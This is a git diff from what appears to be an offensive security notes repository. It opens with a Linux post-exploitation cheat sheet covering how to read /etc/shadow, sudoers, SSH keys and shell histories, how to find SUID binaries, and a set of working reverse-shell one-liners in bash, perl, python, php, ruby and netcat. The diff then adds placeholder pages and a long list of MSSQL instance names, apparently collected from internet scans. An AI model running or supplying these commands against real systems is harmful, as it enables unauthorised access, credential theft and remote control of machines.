/etc/issue{,.net} +cat /etc/passwd +cat /etc/shadow (gotta try..) +cat /etc/shadow~ # (sometimes there when edited with gedit) +cat /etc/master.passwd +cat /etc/group +cat /etc/hosts +cat /etc/crontab +cat /etc/sysctl.conf +for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) +cat /etc/resolv.conf +cat /etc/samba/smb.conf +pdbedit -L -w +pdbedit -L -v +cat /etc/exports +cat /etc/auto.master +cat /etc/auto_maste +cat /etc/fstab +cat /etc/exports +find /etc/sysconfig/ -type f -exec cat {} \; +cat /etc/sudoers + +## Package Sources +cat /etc/apt/sources.list +ls -l /etc/yum.repos.d/ +cat /etc/yum.conf + +## Finding Important Files +find /var/log -type f -exec ls -la {} \; +ls -alhtr /mnt +ls -alhtr /Volumes +ls -alhtr /tmp +ls -alhtr /home +ls /Users/*/.ssh/* +find /home -type f -iname '.*history' +ls -lart /etc/rc.d/ +locate tar | grep [.]tar$ +locate tgz | grep [.]tgz$ +locate sql l grep [.]sql$ +locate settings | grep [.]php$ +locate config.inc | grep [.]php$ +ls /Users/*/id* +locate .properties | grep [.]properties # java config files +locate .xml | grep [.]xml # java/.net config files +find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm -4000 # find suids + +## Per User +ls -alh /Users/*/ +ls -alh /Users/*/.ssh/ +cat /Users/*/.ssh/authorized_keys +cat /Users/*/.ssh/known_hosts +cat /Users/*/.*hist* +find -type f /Users/*/.vnc /Users/*/.subversion +grep ^ssh /Users/*/.*hist* +grep ^telnet `/Users/*/.*hist* +grep ^mysql /Users/*/.*hist* +cat /Users/*/.viminfo +sudo -l # if sudoers is not readable, this sometimes works per user +crontab -l + +## Priv (sudo'd or as root) +ls -alh /root/ +cat /etc/sudoers +cat /etc/shadow +cat /etc/master.passwd # OpenBSD +cat /var/spool/cron/crontabs/* +lsof -nPi +ls /Users/*/.ssh/* + +## Reverse Shell +starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X +perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' +php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' +nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore +rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f +xterm -display 10.0.0.1:1 +Listener- Xnest :1 +Add permission to connect- xhost +victimIPf diff --git a/osx/persistance.md b/osx/persistance.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/osx/persistance.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/osx/privesc.md b/osx/privesc.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/osx/privesc.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/otheros/as400.md b/otheros/as400.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/otheros/as400.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/otheros/cisco.md b/otheros/cisco.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/otheros/cisco.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/otheros/juniper.md b/otheros/juniper.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/otheros/juniper.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/otheros/zos.md b/otheros/zos.md new file mode 100644 index 0000000..1033b81 --- /dev/null +++ b/otheros/zos.md @@ -0,0 +1,3 @@ +# Place Holder + +Content coming. Feel free to submit ;-) diff --git a/references/internet_mssql.txt b/references/internet_mssql.txt new file mode 100644 index 0000000..a3418d3 --- /dev/null +++ b/references/internet_mssql.txt @@ -0,0 +1,7278 @@ + + + 19961 MSSQLSERVER + 9316 SQLEXPRESS + 1400 BKUPEXEC + 1250 RTCLOCAL + 1231 MSSQLSERVER2008 + 637 ACT7 + 495 MSSQLSERVER2012 + 493 SQL2008 + 428 INSERTGT + 401 SQL2005 + 297 VIM_SQLEXP + 285 BLACKBERRY + 281 CSSQL05 + 250 RTC + 234 CITRIX_METAFRAME + 199 VIDEOOSDB + 195 WORLDOFFICE + 194 SQL2008R2 + 181 COMPAC + 176 SQL2012 + 147 SOPHOS + 137 SQLSERVER + 133 SBSMONITORING + 132 SQLEXP_VIM + 122 MSSQLServer + 118 SQLEXPRESS2008 + 116 VEEAMSQL2008R2 + 100 LYNCLOCAL + 99 SQL + 98 OPTIMA + 97 DS_MSSQLSERVER + 94 MDAEMON + 92 SHAREPOINT + 84 MAMUT + 81 SQLSERVER2008 + 77 CDN_OPTIMA + 75 EPOSERVER + 65 UPSWSDBSERVER + 65 MSSQL2008 + 63 MSSQL + 62 QSQLEXPRESS + 60 PCAMERICA + 58 VISMA + 58 HELM + 56 JTLWAWI + 55 GALACSQLX05 + 55 BDMS + 52 SUNBELT + 52 MSSMLBIZ + 50 PRIMAVERA + 48 ISARS + 48 EBP + 47 MYMOVIES + 47 DESTINY + 46 ESCANSQLSERVER + 46 ALAMODE + 44 SQLEXPRESS2008R2 + 44 PINNACLESYS + 44 BDPSOFTWARE + 42 SQLSERVER2012 + 42 PADMINISTRATOR + 42 CITADEL + 41 SQLEXPRESS2005 + 41 NET2 + 40 WINCC + 39 SQL2000 + 39 OKTELL + 39 INFLOWSQL + 37 SHIPWORKS + 37 JURISOFT + 35 WASPDBEXPRESS + 35 AXSQLEXPRESS + 33 SQLSERVER2008R2 + 33 CMJ + 32 SKLEP + 32 MAXIMIZER + 31 SQLSERVERVIEW + 31 SHORTCUTSPOS + 31 SAGE + 30 TEST + 30 SQLEXPRESS2012 + 30 ECSQLEXPRESS + 30 BOE140 + 29 YAYOI + 29 TIMECLOCKPLUS + 29 SHOPSTREAM + 29 PASSELI + 29 IP08R2 + 28 PROFXENGAGEMENT + 28 LPIMWOMEXPRESS + 28 DATALAB + 27 SQL2K8 + 27 SMARTERTRACK + 27 SISTEMI + 27 MSSQL2012 + 27 KAV_CS_ADMIN_KIT + 27 ANDROMEDA + 26 SQLEXPRESS2 + 26 ESHBEL_PRIORITY + 25 VSDOTNET + 25 TIMEFORCE + 25 PROCARE + 25 KEYSCAN7 + 24 SQLSERVER2005 + 24 SERVER + 24 MSSQLSERVER2 + 24 BSSERVER + 23 PDATA_SQLEXPRESS + 23 COACHINGSOLNS + 23 A2006 + 22 MSSQL2008R2 + 22 MSSQL2005 + 22 BKUPEXECDLO + 22 ARCSERVE_DB + 22 ALLDATASC + 21 SQLNG + 21 DEV + 20 WIZSOFT + 20 SA + 20 RE_EXPRESS + 20 OFFICESERVERS + 20 DATEV_DBENGINE + 20 AVASTSBC + 19 T4C3 + 19 SRV_TSW_STARTISS + 19 SQL2K5 + 18 WHIPROCESSING + 18 MSFW + 18 ESHA + 18 EFFICACIS3 + 18 ACCUCHEK360 + 17 SOSHOME309 + 17 MSSQLSERVER1 + 17 ICV + 17 GLOBALSCAPE + 17 EK4 + 17 EBS + 16 VIPER + 16 POWERPIVOT + 16 OYUNSISTEMLERI + 16 DATACAPINSTANCE + 16 COMMVAULT + 16 ACROSS + 15 TRACKIT + 15 SPECTOR360 + 15 SPCS + 15 PRODUCTION + 15 PROD + 15 PLATNIK + 15 MSSQLSERVERR2 + 15 MISASME2012 + 15 JUMIS + 15 GFT + 15 GALACSQLX08 + 15 ECI2 + 15 ASACC + 14 WINCCFLEXIBLE + 14 TL_MSDE + 14 SQLEXPRESS1 + 14 SISTEMA + 14 SEPIDAR + 14 R2 + 14 PRONIM_DW + 14 DOCUSHARE + 13 TIMEMATTERS11 + 13 SQL2K + 13 RELYONDB + 13 PTI + 13 OPTIVUM_2005 + 13 MSSQL2K54TKC + 13 MSDPM2010 + 13 MAILMAX5 + 13 IMSS_SSEINSTANCE + 13 IMAILSERVER + 13 AKINSOFT + 12 XACTWARE + 12 SQLR2 + 12 SQL1 + 12 SABA_TRANSPORT + 12 PF + 12 HCNSQL07 + 12 HC + 12 GHMWIN_SQL + 12 ELISOFT + 12 EDBOREL + 12 ECC + 12 DOUBLECLICK + 12 CRM + 12 COMCASH + 12 ALTERDATA + 11 VERITRAX + 11 SPLENDIDCRM + 11 SOLBIPOS + 11 POHODA + 11 OBVSERVER + 11 NATURASOFT + 11 MSSQLSERVERDTA + 11 MSSQLEXPRESS + 11 LYTECMD + 11 ESP + 11 EMMSDE + 11 DTOOLSV5 + 11 CSSQL08 + 11 CAMBRIDGESOFT + 11 ADP + 10 WLAUSERPROFILE + 10 WHATSUP + 10 TIMEMATTERS10 + 10 TIGERPAW + 10 SQLEXPRESSR2 + 10 SQL2008EXPRESS + 10 SMTKINGDOM + 10 RESTO + 10 RESET2 + 10 MSDPM2012 + 10 JUMIS7 + 10 JJKA_KDS + 10 IRISPRACTICE + 10 FLIPINSTANCE + 10 FASTVIEWER + 10 EXAKTIME + 10 ENOVA + 10 DEMO + 10 DATALAB55 + 10 CROSSOVER + 10 CNAS_SIUI + 10 CHURCHWINDOWS + 10 CDRDICOM + 10 AMAZINGCHARTS + 9 WAVESOFT + 9 VISION + 9 TOCTTARGPPC05 + 9 TECHNOTEL + 9 TCEPR + 9 SUMAL_AGENT + 9 STAGING + 9 SQLWEB + 9 SQLNEXT + 9 SQLEXPRESS_AXOFT + 9 SQLEXPRESS08 + 9 SQL2012ADV + 9 SQL2008ADV + 9 SPSQL + 9 SNELSTART + 9 SERVIDOR + 9 SAOP + 9 RAPPORTDB + 9 QLOCALINSTANCE + 9 PPSLPMSQLEXP + 9 PMTS + 9 PLK11 + 9 OPTOCONTROL + 9 OCULARISSERVER + 9 OBCINSTANCE2X + 9 NOVA + 9 NEXUS + 9 NCS_SQL_SERVER + 9 MSPOSINSTANCE + 9 MPSC_DB + 9 LLMS + 9 ION + 9 GLASOF + 9 GASTRO + 9 FOUNDATION + 9 EVAULT_DB + 9 ESC + 9 CSI + 9 CREATIVESOLUTION + 9 CIMPLICITY + 9 CESSQL + 9 BMX + 9 BMD + 9 ATMSQLSERVER + 9 AMICUS + 8 ZSZC + 8 WESTREPOSITORY + 8 VEEAM + 8 UDASERVER + 8 TPVGESTION + 8 TEW_SQLEXPRESS + 8 TE_SQL + 8 TEBEOS2010 + 8 SQL_ICCM + 8 SQLEXPRESSOME + 8 SQL05 + 8 SPDS + 8 SHIPWORKS3 + 8 SHAKENSOFT + 8 SERVICECEO + 8 SAGESPS + 8 SAGECRE + 8 PRIEXPRESS750 + 8 PRACTICEMGT + 8 POSDATABASE + 8 OXYGEN + 8 MYOBACCT + 8 MONITOR + 8 MNSQLEXPRESS + 8 MEDIFOX + 8 LYTEC_SQL + 8 GOFIGURE + 8 FARZIN + 8 EZEENEXTGEN + 8 ETA + 8 EMS + 8 DYNAMICS + 8 DOVICO + 8 DHLEASYSHIP + 8 DEVELOPMENT + 8 DESIGO + 8 CONTINENTAL + 8 CONSOLE + 8 CIEL + 8 CASTERSTATS + 7 ZONESOFTSQL + 7 XMPIE + 7 WINCAJASERVER + 7 VNETSQL + 7 VIDA + 7 THUBDBSERVER + 7 TFS + 7 SQLTMS + 7 SQLSERVEREXP + 7 SQLLANSWEEPER + 7 SQLEXPRESSCLUB + 7 SQL2008NTT + 7 SQL2 + 7 SCANMAIL + 7 RWS + 7 ROMEXIS + 7 PLATNIK2005 + 7 OMSQL + 7 NETSIS + 7 NETSATISFAXTION + 7 MVSQLEXPRESS + 7 MSSQLSERVER08 + 7 LDMSDATA + 7 LASERFICHE + 7 LACERTEDB + 7 KOLNATUN + 7 KOFAXCAP2008R2 + 7 KEYSOFTSQL + 7 JBBLOTTERY + 7 ISBEST2008R2 + 7 IPS + 7 IP + 7 INSOFT2005 + 7 INSOFT2000 + 7 INFINITY + 7 IIRX4 + 7 ICG + 7 HASPSRMDATABASE + 7 FE_EXPRESS + 7 F3M2005 + 7 ECLIPSE + 7 EASYJOB4 + 7 DTOOLSSIX + 7 DINASQLSERVER + 7 DESARROLLO + 7 DBSERVER + 7 CSMDBCIAS + 7 COMPUTECLUSTER + 7 COMPASS20 + 7 BOSCHSQL + 7 ARCSERVE_APP + 6 ZENON_DEV + 6 WSI + 6 WORLDOFFICE2013 + 6 WORLDOFFICE2 + 6 WORLDOFFICE1 + 6 WITNESS + 6 VRANGERPRO + 6 TRUMPF + 6 TIMEFLOW2008 + 6 THERAPYCLIENT + 6 TATTOOSTUDIO + 6 SQLSERVER2 + 6 SQLLANSWEEPER2K8 + 6 SQLIKOSOFT2000 + 6 SQL2K8R2 + 6 SQL2012EXPRESS + 6 SQL2008R2ENT + 6 SOSQL2012 + 6 SORIMACHI + 6 SMP3 + 6 SHAZILI + 6 SHAREPOINTPORTAL + 6 SAP + 6 SAGECOALA + 6 PROFIT + 6 POHODASQL + 6 PIONEER + 6 PCADB + 6 OPUS + 6 NORTH40SYSTEMS + 6 MSSQL2K8 + 6 MS$DPM2007$ + 6 MSDE_AXOFT + 6 MICROCATLIVE + 6 LIBERTY + 6 LEDWARE + 6 LABEL + 6 KULCSSOFT + 6 KSS + 6 KLUWER + 6 KASPERSKY + 6 IRISSERVER + 6 INTERFACENET + 6 IESA + 6 HIMSA + 6 HANDSONTECH + 6 GHINTPP + 6 GCSSQLEXPRESS + 6 GABINET + 6 EXPRESS + 6 ETICADATA + 6 ERP + 6 EMAGNUS2005 + 6 DLO + 6 DATEVIT01 + 6 CSMDBDEVCIAS + 6 CAFCADATA + 6 ATTENDANCE + 6 ANTARESYSTEMS + 6 ACCTIVATE + 5 WHOKNA4 + 5 WEBSERVER + 5 WAPRO + 5 VLSQLS24 + 5 VENDIT + 5 UNI + 5 UESSE + 5 U15318284 + 5 TRUMPFSQL1 + 5 TOLEDO + 5 TITUSPLUSSQL + 5 TIMEMATTERS + 5 SYSTEM + 5 SSINC + 5 SQLSERVER2000 + 5 SQLSERVER08 + 5 SQLPIVIS + 5 SQLNFE + 5 SQLKONTAR2008 + 5 SQLIKOSOFT2005 + 5 SQLEXPRESSEZ + 5 SQLEXPRES80 + 5 SQLEXP2008 + 5 SQLDBG + 5 SQL2K12 + 5 SQL2008STD + 5 SQL2008R2_01 + 5 SQL01 + 5 SP2010 + 5 SL + 5 SHELBY + 5 SELECTSERVER + 5 SAINT + 5 RFMS + 5 RESTART + 5 RCCSQLEXPR + 5 QUANTUM + 5 QTAC + 5 QA + 5 PROBIT + 5 PPCSQLEXPRESS + 5 PMP + 5 PDVNET + 5 PCMX + 5 OVOPS + 5 OVCONSOLE + 5 OBCINSTANCE2 + 5 NOWCOMSQLEXPRESS + 5 NGSQL + 5 NG + 5 NATIONALSOFT + 5 MSSQLWEB + 5 MSSQLSERVERWEB + 5 MSSQLSERVER3 + 5 MSSQLR2 + 5 MSQLEXPRESS + 5 MSDE2000_01 + 5 MSDE2000 + 5 MSDE + 5 MPACTSQL + 5 MONSOON + 5 METEOR + 5 MAHAK + 5 LIVE + 5 KONTOR_NET + 5 KLUWER2005 + 5 KDKSQL + 5 KBMSS + 5 JWSAPEX + 5 JDELOCAL + 5 IWSS + 5 IWDBSQL + 5 IRIS5DB + 5 INSIGHT + 5 IC_SKLEP + 5 IB10 + 5 HSISPG + 5 HEALTHBRIDGE + 5 GSELECTOR + 5 GHINGHP + 5 GALACSQLSTD08 + 5 F2000SQL + 5 EXO + 5 ESSENTIALS + 5 ERPSERVER + 5 ENCOREPRO2 + 5 EKOMMERCE + 5 EASYJOB5 + 5 DVTEL + 5 DOLPHIN + 5 DEXIS_DATA + 5 DELMAR + 5 CLINIVIEW + 5 CLASSIC + 5 BRILSOFT + 5 BPSINSTANCE + 5 BMS + 5 BITROCKMSSQL + 5 BIRU + 5 BILLING + 5 BESMGMT + 5 BES + 5 BCDB + 5 BACKUPAGENT + 5 AUTODESKVAULT + 5 AUTOCRIB53 + 5 AUDSYSTEM + 5 AQUILASQL + 5 AIDATA + 4 ZMVC + 4 Z1 + 4 YARDIPM + 4 XEROXCWW + 4 WORLDOFFICE2005 + 4 WESTECPOSLOCAL + 4 WEBSENSE + 4 WEBPAY + 4 WEBOFFICE + 4 WEBESDB + 4 WEB + 4 VWORKSPACE + 4 VUZIQ_ENTP_SLV2 + 4 VUZIQ_ENTP_MAIN2 + 4 VUZIQ_ENTP_MAIN + 4 VUZIQ2013 + 4 VNUNI + 4 VLSQL248 + 4 VISMONMANAGER + 4 VARIO + 4 UPSBAT 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ORTHOSYSTEM + 4 ORKASQL + 4 OPSDB02 + 4 ONYX + 4 OFFICEBANKING + 4 OBJETIVA + 4 NRSBUSDBENGINE + 4 NEXTECH + 4 NEWTONTREEDB + 4 NEW + 4 NEODATA + 4 NEO + 4 NAVISION + 4 MSSQLSERVER2005 + 4 MSSQLSERVER12 + 4 MSSQLINCAP + 4 MSSQL2K8WEB + 4 MSSQL2012ENT + 4 MSSQL2008WEB + 4 MSDE_OCULAR + 4 MSDE_INSTANCE + 4 MMSQLEXPRESS + 4 MIZU + 4 MISASME2010 + 4 MIMS + 4 METRO_TEST + 4 METRO_PROD + 4 METRO_DEV + 4 MASTER + 4 MANITOU + 4 MAGRESNET + 4 MADURO + 4 LP8 + 4 LP7 + 4 LOGI2008 + 4 LOCALHOST + 4 LINX + 4 LEXWAREKDM + 4 KLAES + 4 KEYSCANV + 4 KARINGSOFT + 4 JDESSELOCAL + 4 ITCOUPLEWEB + 4 ISCOSQLENT12 + 4 ISBEST + 4 IRIS7DB + 4 IRIS + 4 HOGIAECONOMY + 4 HIPER + 4 HEARTSTART + 4 HASH + 4 HANASHITE + 4 GOLDMINE + 4 GENAVSQLEXPRESS + 4 FV_SQL_SERVER + 4 FRANKLIN_SQL_DAT + 4 FINAWARE + 4 FERRARA + 4 FENIX + 4 EXPTR + 4 EXPRESS2012 + 4 EXACT + 4 EVE2 + 4 ERAD + 4 EPSILON5 + 4 ENTERPRISESQL + 4 EMAC + 4 EDS70 + 4 EC2SQLEXPRESS + 4 DRCOM + 4 DOTCOM + 4 DOCSVAULT + 4 DELPRO + 4 DEEPMETRIX + 4 DB1 + 4 DB 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BVMSIMPORT + 1 BVMS + 1 BUTENT + 1 BUSVIEW + 1 BUSINESS + 1 BUROTIC_SAGE + 1 BUILD2WIN + 1 BUIGEST + 1 BUGS + 1 BUEXEC + 1 BUCHISQLEXPRESS + 1 BTNET + 1 BT + 1 BSTSRVR + 1 BSSQL + 1 BSSGPB2005 + 1 BSQL + 1 BSNSLOC + 1 BSI + 1 BSDSOFTLINK$DATA + 1 BSCS + 1 BSA + 1 BR_ZAREBA + 1 BRUSSELSSMILE + 1 BROSUBSCRIBER + 1 BROOX + 1 BROKERNFG + 1 BRNFE01 + 1 BRISKSERVICES + 1 BRIO + 1 BRIDGE + 1 BRAINCHECKER + 1 BRAHMA + 1 BPSCLIENT + 1 BPS + 1 BPOM + 1 BPAPRODUCTDISCO + 1 BP5 + 1 BP2 + 1 BOXTOP + 1 BOXMANAGER + 1 BOXI4 + 1 BOT + 1 BOSS_NET_DB + 1 BOSS_APPS + 1 BORSAN + 1 BORPANEL + 1 BOREAL + 1 BORDO2008R2ENT + 1 BONYAN + 1 BONTUR + 1 BONCASA + 1 BOMPRECO31102011 + 1 BOMPRECO + 1 BOMBRECO15102012 + 1 BOLONGHUASHEN + 1 BODET + 1 BNSS + 1 BNOOD + 1 BNFT + 1 BNASNDES + 1 BMSSQL + 1 BMSSERVER + 1 BMISQL2008 + 1 BLIDOSUND + 1 BLACKOPS1 + 1 BLACKBOARDSQL3 + 1 BLACKBOARDSQL2 + 1 BLACKBERRY2 + 1 BL1NK + 1 BKUP + 1 BKP + 1 BKKHJ + 1 BIZTALKDB + 1 BIZSERVE + 1 BIZS_DB + 1 BIZNET + 1 BIZMEDICA2008 + 1 BIUROSC + 1 BIUROPACZKOW + 1 BIUROFK + 1 BITDMS + 1 BITA + 1 BISVR + 1 BIS + 1 BIPUBLISHER + 1 BIOSLIM + 1 BIOINTELLIGYM + 1 BINA + 1 BIME2005 + 1 BILNOTA + 1 BILLING2000 + 1 BILETY + 1 BILANCDB + 1 BILALPRAYER + 1 BIGTIME + 1 BICOT + 1 BIBOARD + 1 BIANCA1 + 1 BIAAZ + 1 BI + 1 BEYOU + 1 BETTER + 1 BETASI + 1 BESTSQL + 1 BESTIA + 1 BESPOKE + 1 BESEXPRESS + 1 BERSSQL + 1 BERRYLICIOUS_PC + 1 BERMEJO2013 + 1 BEOWORLD + 1 BENTON_MN + 1 BENIAMIN77 + 1 BEN_FLO + 1 BENERSQL + 1 BENCHMARK + 1 BENARITSQL8EXSP2 + 1 BEMCB_TR + 1 BELINAHR + 1 BEJERMAN2005 + 1 BEHSHAD2005 + 1 BEHPAK + 1 BEENT_SQL + 1 BEDROCKSERVER + 1 BECCDYMC + 1 BE2012 + 1 BDOSUPORTE + 1 BDMS_ASDJ + 1 BDMS3 + 1 BDMS1 + 1 BDMS0 + 1 BDHSQLEXPRESS + 1 BD_GPSI + 1 BDD_SQL_2012_ENT + 1 BDD_SQL_2008_R2 + 1 BDD_EXPRESS_2012 + 1 BDD_EXPRESS_2008 + 1 BDD + 1 BDATOS + 1 BDADOS + 1 BDA + 1 BD2008 + 1 BCWTICKETING + 1 BCSQL2008 + 1 BCSQL + 1 BCS + 1 BCPLIUS + 1 BCM + 1 BCCWEB + 1 BBTSEL + 1 BBOOK + 1 BBERRYSERVER + 1 BAZI5 + 1 BAZI + 1 BAZARADWAG + 1 BAZAORION + 1 BAUPLUS + 1 BAUBIT + 1 BASSUL + 1 BASIS + 1 BASIC + 1 BASHEHPARSEH1 + 1 BASHEHPARSEH + 1 BASELINE + 1 BASEGESSQL + 1 BASE + 1 BARSADB + 1 BARSA + 1 BARGAGLI + 1 BARCELONA + 1 BANORTE + 1 BANIKAR + 1 BANDR + 1 BALLARDSQL + 1 BAKA + 1 BAHARHHESAR + 1 BACO + 1 BACKUPEXEC + 1 BABELSYS + 1 BAB + 1 B4A + 1 B2B_PORTAL + 1 AZTERIZCO + 1 AZILENINSTANCE + 1 AZ + 1 AYUANOKOK + 1 AYEHU + 1 AY130625152149Z + 1 AXTEST + 1 AXSQLEXPRESS_1 + 1 AXSQLEXPRESS_03 + 1 AXSNET + 1 AXEL08 + 1 AXDEV + 1 AWS + 1 AWCO + 1 AWCHANCE + 1 AW + 1 AVZ_SQLEXPRESS + 1 AVTOPRALNICA + 1 AVSSQL + 1 AVRIOSQLWITNESS + 1 AVIANAAPP001 + 1 AVIACION + 1 AVGLOBAL + 1 AVAZS + 1 AVAST + 1 AVANTI + 1 AVAILSUITE + 1 AUTOSOFT + 1 AUTOPILOT + 1 AUTONIESQLSRVR + 1 AUTOMINDERU + 1 AUTOFLOW + 1 AUTO + 1 AUTHENTICATIONDB + 1 AUTHANVIL + 1 AUDITELDTV + 1 AUDIOSOFT + 1 ATUMSQLSERVER + 1 ATTIX5 + 1 ATTENDACE + 1 ATSTAFF + 1 ATSSQLSERVER + 1 ATLCOLLEGE + 1 ATLASEFX + 1 ATLAS3SQL + 1 ATLAS2008 + 1 ATLAS + 1 ATLANTE + 1 ATL + 1 ATID + 1 ATI + 1 ATHSQLEXPR2008R2 + 1 ATHOSSQL + 1 ATHERTON_SSRS + 1 ATHENEA + 1 ATHENASOFT + 1 ATHENA + 1 ATC + 1 AT2 + 1 ASUTP + 1 ASUS + 1 ASTUTEBILLER + 1 ASTREXDBSERVER + 1 ASSEDI + 1 ASPSQLSERVER + 1 ASPNET + 1 ASPENDB + 1 ASPECTDBSERVER + 1 ASOFTPETROL + 1 ASNW + 1 ASMTIN + 1 ASM + 1 ASKIYAN + 1 ASIDB + 1 ASI2008 + 1 ASDATI + 1 ASCUSTDATA + 1 ASCSYSTEMY + 1 ASCADE01 + 1 ASAREB + 1 ASAHOODB + 1 ASA3SQLSERVER + 1 ARVENTOSRV + 1 ARUBA2 + 1 ARTDENTIS + 1 ARREDOWM + 1 AROPARTESR2 + 1 AROPARTES + 1 ARMS + 1 ARLEKINO + 1 ARKP + 1 ARKKI + 1 ARJSOLLANAWK8 + 1 ARJSOLLANA + 1 ARISTOTEL + 1 ARISERVER + 1 ARION + 1 ARGUSSQL + 1 ARGOS + 1 ARGOGEO_P + 1 ARGAMING + 1 AREVN09 + 1 ARCGISSQLSERVER + 1 ARCAEGO + 1 ARCA + 1 ARC + 1 ARBITR + 1 AQSSQL1 + 1 AQS2012 + 1 AQACSV + 1 APTSRV + 1 APTSQL2005 + 1 APTEST + 1 APTEK + 1 APSQLE + 1 APPXTENDER + 1 APPSQLSERVER + 1 APPSQL + 1 APPSHOTT + 1 APPSCAN + 1 APPLICATIONS + 1 APPINFOMRW + 1 APPCRITICAL + 1 APOLO + 1 APOLLOTEST + 1 APOINT + 1 APLON + 1 APLIMAXSQL2008 + 1 APERION + 1 APEIRONSOFT + 1 APAYROLL + 1 APAX + 1 APATZINGANSQL + 1 AOM + 1 AOBO + 1 ANYWELL + 1 ANUN1 + 1 ANTOR + 1 ANTCOM + 1 ANSWER2001 + 1 ANSWER + 1 ANSQL + 1 ANSCIANIMALOPS + 1 ANKETIX + 1 ANIPIN + 1 ANIME + 1 ANGLONET + 1 ANGASIL + 1 ANDROIDSQL + 1 ANDRAKA + 1 ANDERS + 1 ANDALUSIA + 1 ANALYZERDB + 1 ANALYTICS + 1 AMVRAKIKOS + 1 AMT + 1 AMSQLEXPRESS + 1 AMS2008 + 1 AMS + 1 AMPI_PRIMARY + 1 AM_MSSQL2008 + 1 AMMARA + 1 AMISA + 1 AMILCO + 1 AMHHCISQL + 1 AMGEN_DDM + 1 AMESTO + 1 AMERIGUS_BEAUTY + 1 AMBRASOFT + 1 AMBMONACO + 1 AMBERSILVER + 1 AMBER + 1 AMB + 1 AMATHEA + 1 AMARD2005 + 1 AMANO + 1 AMAN02 + 1 AMAJ + 1 AM17 + 1 ALWAYS3 + 1 ALUN05 + 1 ALUMCLOUD + 1 ALTUSERP + 1 ALTUM + 1 ALTIUS2005 + 1 ALTIRIS + 1 ALPSSQL + 1 ALONI + 1 ALOES + 1 ALLVISIONSAMBIL + 1 ALLSTAR + 1 ALLOY6EVAL + 1 ALLIGATIO + 1 ALLIED + 1 ALLIANCE + 1 ALLEVENET2013 + 1 ALLENSUSQL + 1 ALLEGRO + 1 ALLABOUTMUSTANGS + 1 ALICEHL7 + 1 ALIANS + 1 ALIA + 1 ALFANET + 1 ALFA2008 + 1 ALEGON + 1 ALDENA_SQL + 1 ALDEIA + 1 ALCHEMY + 1 ALBERT2 + 1 ALBERT1 + 1 ALARMNET + 1 ALARMBILLER + 1 ALARKO_SGTP_2008 + 1 ALARA + 1 ALAMUDIMLN + 1 ALAMO + 1 ALAMEENSQL + 1 ALADDIN + 1 AKMUS000001 + 1 AKMUS + 1 AKMTESTUS + 1 AKMTEST + 1 AKMDES + 1 AKM132776 + 1 AKM132689 + 1 AKM132289 + 1 AKM132204 + 1 AKM132120 + 1 AKM131729 + 1 AKM130928 + 1 AKM128824 + 1 AKM128576 + 1 AKM126691 + 1 AKM125760 + 1 AKM000011 + 1 AKM000001 + 1 AKINSOFT_SQL + 1 AKASERVER + 1 AK + 1 AJSYS + 1 AIWI + 1 AIUNIVERSAL + 1 AITANANET + 1 AIRFASE + 1 AIRBORNE + 1 AIMISQL + 1 AIM + 1 AIDB + 1 AICV + 1 AI + 1 AHR + 1 AHORA + 1 AGW + 1 AGVANCE + 1 AGUA2010 + 1 AGTFEDB + 1 AGSDJ2TRYGRB8 + 1 AGS + 1 AGROADMIN + 1 AGRISEM + 1 AGRAEL + 1 AGOWARE_SQL2008 + 1 AGILPRUEBAS + 1 AGENCY + 1 AGENCJA_UBEZPIEC + 1 AGECONS + 1 AGCPLUS + 1 AGAXTURSQL + 1 AGAHDAD + 1 AFTAB + 1 AFS + 1 AFP + 1 AFMD + 1 AFLOAT + 1 AFIMILK + 1 AFHDATA + 1 AFFINITY + 1 AFFILIATES + 1 AERIS + 1 AECOMMETROLINK + 1 ADVINCI2005 + 1 ADVANTAGE2005 + 1 ADVANCEPRO + 1 ADVANCEDBUYS + 1 ADV + 1 ADSTRASQLEXPRESS + 1 ADS_TESTING + 1 ADSTACHURA + 1 ADSSQL01 + 1 ADS_SOFTWARE + 1 ADSL + 1 ADREM05 + 1 ADORA2008 + 1 ADONAKIS + 1 ADONAISQLEXPRESS + 1 ADOMSQL + 1 ADMS + 1 ADM_MANAGER + 1 ADMINSOFT + 1 ADMINKIT + 1 ADMINISTRATOR + 1 ADMINISTRACION + 1 ADMAND01 + 1 ADKSVOD + 1 ADIROM + 1 ADHOC + 1 ADEMERO + 1 ADELSOFT + 1 ADDAXTACTICALDB + 1 ADCREPLICA + 1 ACTUALIZACIONES + 1 ACTIVPACK + 1 ACTIVEWHERE + 1 ACTIVESQL01 + 1 ACTIVEDIRECTORY + 1 ACSQL + 1 ACRIBA + 1 ACPDATABASE + 